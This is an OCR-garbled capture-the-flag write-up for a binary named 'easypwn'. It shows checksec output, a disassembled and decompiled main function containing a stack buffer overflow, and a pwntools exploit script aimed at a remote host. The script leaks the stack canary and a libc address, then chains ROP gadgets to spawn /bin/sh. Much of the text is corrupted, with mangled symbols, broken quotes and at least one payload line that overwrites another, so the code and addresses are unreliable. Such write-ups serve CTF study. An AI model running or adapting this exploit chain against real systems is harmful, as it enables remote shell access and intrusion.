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geng@ubuntu: ~/5&/test
geng@ubuntu:~/S & /test$ checksec easypwn
[*] '/fhome/geng/\xe6\xal\xBc\xe9\x9d\xa2/test/easypwn'
Arch: amd64-64-1little
RELRO: Partial RELRO

Stack:

NX:
PIE:
beng@ubuntu:~/S @ /tests ]

FFJE T canaryff¥, Bipkgeid, X ik Ecanary

text:00000000084086C6 buf
text:00000000004086C6[var 8
text:00000000084086C6

yte ptr -58h

b
quord ptr -8B

text:00000000084086C6 push rbp
text:00000000084086C7 mov rbp, rsp
text:000BBABBABLABGCA sub rsp, 58h

text:000BBABBABLABGCE mo :
text:000000000840886D7 mov [rbp+uvar_8], rax

text:00000000084086DB =0F FdR, BdR
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1[int _ cdecl main{int argc, const char =*argv, const char =xenwp)

2K

3| Lchar buf; /f [sp+Bh] [bp-58h

4 int uo; Sp¥ p-8h]@E1

5

6] wh = =MK_FP{__FS_ , 46LL);

7| memset{&buf, O, BxhOull);

8| puts{"Hello*I am the smartest robot in the universetiwnWho are you?");
9| FFlush{_bss_start);

18| read(B@, &buf, Ox186ull);

11 printf{

12 "Your name %5 sounds so stupid?\nBut you don't looks like a fool,isn't it?ynso why don't tell me your real name?yn",
13 &buf);

14 = = =
1€ read{®, &buf, B8x10BulLl);
16 p:m etter,nice to meet youtwnGoodbyet!See you againt™);

17| return =HK_FP{_FS_ , 4BLL) " vé;
18}
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from pwn import*

context.binary = './easypwn'
context.terminal = ["tmux','sp', " '-h"]
p=process('./easypwn')
p=remote('106.75.2.53"',10002)
elf=ELF('./easypwn')

p.recvuntil('Who are you?\n")
p.sendline('a'*(0x50-0x8))
p.recvuntil('a"'*(0x50-0x8))
canary=u64(p.recv(8))-0xa

print ‘canary: '+hex(canary)

prdi_ret=0x4007f3

main_addr=0x4006C6
read_got=elf.got['read’]
puts_plt=elf.plt['puts']
p.recvuntil('tell me your real name?\n')
payload="a"'*(0x50-0x8)
payload+=p64(canary)

payload+="a"'*8
payload+=p64(prdi_ret)
payload+=p64(read_got)+p64(puts_plt)
payload+=p64(main_addr)
p.send(payload)

p.recvuntil('See you again!\n')
read_addr=u64(p.recvuntil('\n"',drop=True).ljust(0x8, '\x00"))

print 'read_addr: '+hex(read_addr)
syscall=read_addr+0xe #XHERE—/>syscall
print 'syscall: '+hex(syscall)

sleep(0.5)

ppppppr=0x4007ea

initaddr=0x4007d0

bss_addr=0x601070

p.recvuntil('Who are you?\n')
p.sendline("'A'*(0x50-0x8))
p.recvuntil('tell me your real name?\n')
payload="a"*(0x50-0x8)
payload+=p64(canary)

payload+="a'*8

payload+=p64(ppppppr)
payload+=p64(0)+p64(1)+p64(read_got)+p64(0x3B)+p64(bss_addr)+p64(0)

payload="'/bin/sh\x00"'+p64(syscall)
payload=payload.ljust(©x3B,'a")
p.send(payload)

p.interactive()

#¥% /bin/shB A F|bssE
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